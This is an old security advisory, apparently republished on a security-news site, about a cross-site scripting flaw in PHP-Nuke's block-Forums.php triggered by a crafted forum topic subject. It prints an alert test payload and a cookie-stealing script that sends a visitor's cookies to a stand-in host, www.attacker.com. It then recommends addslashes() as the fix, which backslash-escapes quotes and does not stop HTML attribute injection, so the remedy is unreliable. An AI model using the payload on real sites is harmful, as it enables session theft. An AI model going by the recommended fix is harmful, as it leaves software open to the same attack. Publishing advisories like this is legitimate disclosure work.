logo Home

Untitled Document

Home > Archives Advisories > Articles


Untitled Document

Untitled Document

PHP-Nuke block-Forums.php CSS
Date: 2003-04-01

Author : lethalman@libero.it <lethalman@libero.it>

The block-Forums.php file have a vuln if an attacker
insert a malformatted subject to a topic of Splatt
Forum. A type of subject is:

"><script>alert('bug'");</script>

The 'alt' tag is closed by "> and the other text is
normal html. This bug is very bad if a subject is:

"><script>window.open('www.attacker.com/prova.php?cookie='+document.cookie);</script>

And prova.php register cokkies in a file.

The solution:

Add under "$title2 = stripslashes($title2);" line, this
line:
"$title2 = addslashes($title2);"

And now, backward any " there is a backslash!



 

arrowSearch Advisories

arrowNewsletter

Free weekly Newsletter.

Please enter your email address here:
arrowReport Vulnerability

If you've found a vulnerability please
click here to report it.
arrowPartners

newsnow

About Us | Contact Us | Advertise | email | Backend flag
Copyright © 2016-2017 Security Corporation - All Rights Reserved - Legal - Privacy Policy